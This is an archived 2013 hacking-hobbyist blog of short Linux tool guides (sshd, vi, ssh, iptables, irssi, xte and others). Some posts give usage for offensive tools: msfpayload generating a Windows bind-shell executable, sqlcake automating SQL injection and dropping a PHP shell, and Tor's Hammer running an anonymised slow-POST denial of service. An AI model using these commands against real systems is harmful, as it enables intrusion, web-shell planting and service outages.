Friday, April 26, 2013

SSH Server

You can start ssh server starting deamon sshd.
For example in archlinux you can start deamon using rc.d (sudo rc.d start sshd).
sshd config file si /etc/ssh/sshd_config.
You can edit it with your favourite editor for example: sudo nano /etc/ssh/sshd_config
First of all you can specify the protocol (Protocol 2 reccomended).
You can change default port, for example : PORT 3333
You can also change listen address ListenAddress 0.0.0.0
PasswordAuthentication no -> disable password (yes to enable).
AllowUsers user1, user2 ..
For example : AllowUser root, hackforlulz

If you have any problem or if you need some explanations just write under this post!

Thursday, April 25, 2013

Tuesday, April 23, 2013

Python Guide [ITA] UPDATE !

Download new update from here!

Namebench

namebench is a python script that give you the fastest DNS servers available for you.
namebench runs a fair and thorough benchmark using your web browser history, tcpdump output, or standardized datasets.
nambench has a Tk interface, for start namebench type ./namebench.py
Now you can :
-include global dns providers like OpenDNS, Google public DNS ecc..
-include best avaiable regional DNS services
-include censorship check
You can also help speed up internet uploading your anonymized results.
After specify healt check performance and numbers of query you can start.
When nambench end save a result and give you the fastest dns !!!

You can also use command line:
Type -x for disable GUI
-C : enable censorship check
-q : specify numbers of query
-u : upload result

If you have any problem or you need some explanations just write under this post!

Monday, April 22, 2013

Speedtest-cli

speedtest-cli is python tool for testing internet bandwidth using speedtest.net
If you have a version of python between 2.4 and 2.7 you can download speedtest-cli from here.
Else if you have a versione of python 3.x you can download speedtest-cli-3 from here.
First of all type : ./speedtest-cli.py --list -> for show all server list sorted by distance.
Now you can specify server with options:
--server server
You can specify --simple for show only basic informations
If you want share result image using --share
./speedtest-cli.py --list
You have a result like:
1527) Dianet (Aleysk, Russian Federation) [4954.41 km]
2730) DOM.RU (Barnaul, Russian Federation) [4956.74 km]
1550) Dianet (Barnaul, Russian Federation) [4959.08 km] 1833) JSC Zap-Sib TransTeleCom (Barnaul, Russian Federation) [4959.08 km]
For example if you want use this server Dianet (Aleysk, Russian Federation) [4954.41 km] type:
./speedtest-cli.py --server 1527

If you have any problem or if you need some explanations just write under this post!

Guide to python [ITA] UPDATE!

Download update of guide python [ITA] from here

Sunday, April 21, 2013

Vi - editor

Vi is a display oriented text editor based on ex.
We can start vi with following syntax :
vi [-c command] [-r filename] [-w size] [file 1] [file 2] [file n]
With -c command we can execute command when vi start.
-r filename is specified for recover the modify that we didn't save (for example if system crash).
-w size : specify the size of the editing window for visual mode.
We can open a file in read-only mode using -R option.
We can specify more than one file. Vi open all file and display the first specified file. We can go to following file with command :n
Vi has three mode:
-COMMAND MODE : we can only specify the commands.
-INPUT MODE
-DIRECTIVE MODE : in this mode we can asd to vi all commands.
When we launch vi we are in COMMAND MODE. We can switch from COMMAND MODE to INPUT MODE typing : o -> insert characters under current line
O -> insert characters above current line
R -> replace mode
i -> insert characters to the left of cursor
I -> insert characters at the start of line
a -> insert characters to the right of cursor
A -> insert characters at the end of line
Instead we can switch from INPUT MODE to COMMAND MODE with
We can switch from COMMAND MODE to DETECTIVE MODE typing :
?
/
:
Instead we can switch from DETECTIVE MODE to COMMAND MODE with

Moving :
h -> left
j -> under
k -> above
l -> right
G -> move to last line
nG -> move to n line (ex : 2 G -> move to line 2)
What is a word for vi?
A word is any sequence of characters.
What is a phrase for vi?
A phrase is any sequence of characters that end with ".", "!","?", double space.
What is a paragraph for vi?
A paragrapth is delimited by blank line.
{ -> Move cursor to the start of paragraph
} -> Move the cursor to the end of paragraph
( -> Move the cursor to the start of current phrase
) -> Move the cursor to the end of current phrase
$ -> Move the cursor to the end of line
^ -> Move the cursor to the first non-blank character of current line
0 -> Move the cursor to the start of current line
n| -> Move the cursor to n character of current line (ex : 3| -> move to third character of current line)
w -> Move the cursor to the start of next word
e -> Move the cursor to the end of next word
b -> Move the cursor to the start of last word
+ -> Move the cursor to the first non-blank character of next line
- -> Move the cursor to the first non-blank character of last line

EDIT
^D -> Remove single tab
^^D -> Remove all tab
^W -> Delete last word we insert
^U -> Delete last line we insert
^H -> Backspace
ZZ -> Update file and exit
:q[!] -> Force quit
:wq -> Update and exit
u -> undo the last modify
U -> undo all modify done to current line
ndd -> Delete n lines (default current line)
d/str -> Delete while find str (going forward)
d?str -> Delete while find str (going back)
D -> Delete from current position to end of current line
P -> paste buffer before the cursor
p -> paste buffer after cursor
f char -> find the next occurrence of char
F char -> find the occurence of char before the current position
t char -> move the cursor to the next occurrence of char
T char -> move the cursor to the occurrence of char before current position
We can repeat the last command typing n
Double ">" -> orizontal tab
Double "<" -> remove orizontal tab

Commands in directive mode
With this commands we can control the files.
:args -> show files that we're editing (we can open more than one file!)
:n -> edit next file
:n filename -> edit filename
If we specified [!] we force the commands so vi don't update file.
:rew -> restart to edit first file (we can specify [!])
:st[op] -> Vi goes in backgroud and we return to shell. If we want return in vi type fg vi

For more information see the manual of vi (man vi)

If you have any problem or you need some explanation just write under this post!

Saturday, April 20, 2013

SSH - Secure shell

SSH is a program for logging into a remote machine and for executing commands on a remote machine.
SSH provide secure encrypted communications between two untrusted hosts over an insecure network.
We can use four "type" of connection:
-1 -> try only protocol version 1
-2 -> try only protocol version 2 (RECCOMENDED)
-4 -> try only IPv4
-6 -> try only IPv6
Default protocol is 2 because provide additional mechanisms for confidentiality and integrity.
Syntax : ssh [options] [user@]hostname [command]
To connect you must specified hostname with user(optional).
If command is specified, it is executed on the remote host instead of a login shell.
With options -A you can enable authentication agent connection, instead with option -a you can disable authentication agent connection.
If you use more than one address you can specified the address of the connection with option -b
-b address
You can also compress all data with options -C. The compression algorithm is the same used for gzip.
For encrypting the session we can use -c chiper
For more informations about encrypting see config file (ssh_config)
-f : Requests ssh to go to background just before command execution.
To specify the user to log in use options -l login_name
With option -n you can redirect stdin into /dev/null
The default port for ssh is 22. You can specify the port with options -p port
You can also enable (-X) or disable (-x) the x11 forwarding.
For more informations about ssh you can see the manual of ssh (type man ssh).

If you have a problem or you need some explanations just write under this post!

msfpayload

msfpayload is a command-line instance of Metasploit that is used to generate and output all payload that are available in Metasploit.
To usage msfpayload type : msfpayload -h
Syntax : /opt/metasploit/msfpayload [options] payload [var=val] <[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar>
So /opt/metasploit/msfpayload is the path (can change, depending of os)
Maybe could be /opt/metasploit/msf3/msfpayload
You must specify payload with full path.
You can know the full path of all avaiable payload type : msfpayload -l
For example : windows/shell/bind_tcp
Now you must know the options about your payload, so type : msfpayload fullpath O
Example : msfpayload windows/shell/bind_tcp O
EXITFUNC process yes Exit technique: seh, thread, process, none
LPORT 4444 yes The listen port
LHOST no The listen address
Now we must create our payload specifying the payload's options
Example :
msfpayload windows/shell/bind_tcp LPORT=3333 RHOST=ip X > /home/HackForLulz/payload.exe
X = specify the type of payload : E(X)E , (P)ERL, RUB(y) and so on...
> /home/HackForLulz/payload.exe = specify where create our payload

If you have a problem or you need some explanations just write under this post!

Monday, April 15, 2013

Iptables

Iptables is a firewall built into linux kernel.
Iptables is used for IPv4 and ip6tables is used for IPv6.
Iptables contain four tabels : raw, filter, nat and mangle.
There are three built in chains :
-Chain input
-Chain output
-Chain forward
We can set the target of packet using the options -j (jump).
The most used target are : ACCEPT, REJECT, DROP, LOG.
sudo iptables -L -> check the current rules of iptables.
For more informations about current rules type : sudo iptables -L -v
-v -> verbose mode
With syntax " iptables -P chain target [options] " we can chenge the rules.
For example : sudo iptables -P INPUT DROP
We drop all input packet.
After drop all input we can modify options ensuring traffic request by us:
sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
-A -> -A Chain : Append to chain
-m state-> extended match (state in this case)
-j -> jump options
We can also specify a interface for example lopback
sudo iptables -A INPUT -i lo -j ACCEPT
-i -> specify interface
We can also ensure a traffic by specific port:
sudo iptables -A INPUT -p tcp --dport 21 -j ACCEPT

I reccomend you to don't modify OUTPUT chain because linux doesn't work like windows that send in output our datas.

Now if you type : sudo iptables -L -v you can see the modify ;)

If you have a problem or you need some explanations just write under this post!

Sunday, April 14, 2013

Guide Tkinter Python [ITA]

Beginner's guide to tkinter in python [ITA VERSION]
You can download Hack ForLulz's guide here
For more informations about python click here

Friday, April 12, 2013

Irssi - IRC client

Irssi is an IRC client program for Linux, FreeBSD, Microsoft Windows, and Mac OS X.
Irssi is written in the C programming language and in normal operation uses a text-mode user interface.
You can find irssi here
After installation run irssi and type /set for a complete list of options.
For go up and down on screen type CTRL+P (up) CTRL+N (down).
To set a options type : /set option=value
In config file of irssi you can set a server where join.
example:
servers = (
{
address = "irc.autistici.org";
chatnet = "AI";
port = "6667";
use_ssl = "no";
password = "password";
}
);
Now type on irssi : /connect AI -> automatically irssi connect to irc.autistici.org/6667
To change channel type : CTRL+P (next) CTRL+N (back)

If you have a problem or you need some explanations just write under this post!

Friday, April 5, 2013

Xte - Keypress simulation

Xte generates fake input using the XTest extension.
The packets is xautomation.
-x display : Send commands to remote X server.
Commands :
key k : press and release
keydown k : press key
keyup k : release key
str string : write string
mouseclick i : press and release i button
mousedown i : press i button
mouseup i : release i button
mousemove x y : move mouse to x y
sleep x : sleep x seconds
Examples :
xte 'key RETURN' <- press and release Enter
xte 'keydown TAB' <- press TAB
xte 'keyup BACKSPACE' <- press Backspace
xte 'str hackforlulz' <- write hackforlulz
xte 'mouseclick 1' <- click with left button
xte 'mousedown 3' <- press with right button
List of useful commands :
Up, Down, Right, Left, Page_up, Page_down, Tab, Delete, Return, Backspace, End, Alt_L, Alt_R, Shift_L, Shift_R

If you have a problem or you need some explanations just write under this post!

Wednesday, April 3, 2013

Sqlcake - Automatic Sqli

Automatic dump database & interactive sql shell tool dumps the current database structure including tables and columns and turns into an interactive mysql prompt with extra features.
Sqlcake is written in ruby, you can find ruby here
You can download sqlcake from here
Sytax : ruby sqlcake.rb -u target -p target parameter [options] [special commands]
Options :
-u : target URI (ex : www.site.com/home/php?val=5)
-p : target parameter (ex : val)
-e : error string for union selection
-d : error escape string
-b : use blind sql injection mode
-f file : write data to output file
-x : skip database dump
Special commands :
hex:[str] : hex a string for magic quotes bypassing
dropshell:[str] : drops a php shell
dump:[str] : to dump a specific table
blind:[on/off] : toggle blind sql injection mode
Example :
ruby sqlcake.rb -u www.site.com/home/php?val=5&id=3 -p id
Target = www.site.com/home/php?val=5&id=3
Param = id

ruby sqlcake.rb -u www.site.com/home/php?val=5&id=3 -p val -b
Target = www.site.com/home/php?val=5&id=3
Param = val
Bind = Yes

For more informations about sqlcake type : ruby sqlcake.rb

If you have a problem or you need some explanations just write under this post!

Tuesday, April 2, 2013

Tor's Hammer

Tor's Hammer is a slow post dos testing tool written in Python. It can also be run through the Tor network to be anonymized.
If you are going to run it with Tor it assumes you are running Tor on 127.0.0.1:9050.
You can download Tor's Hammer from here.
Syntax : ./torshammer.py -t target [options]
Options:
-t : IP or Hostname
-r : numbers of thread (default = 256)
-p : web server port (default = 80)
-T : Enable anonymising through tor on 127.0.0.1:9050
Ex : ./torshammer.py -t www.site.com -p 80 -T -r 128
Host = www.site.com
port = 80
Enable anonymoys trought tor
Numbers of thread = 128

If you have a problem or you need some explanations just write under this post!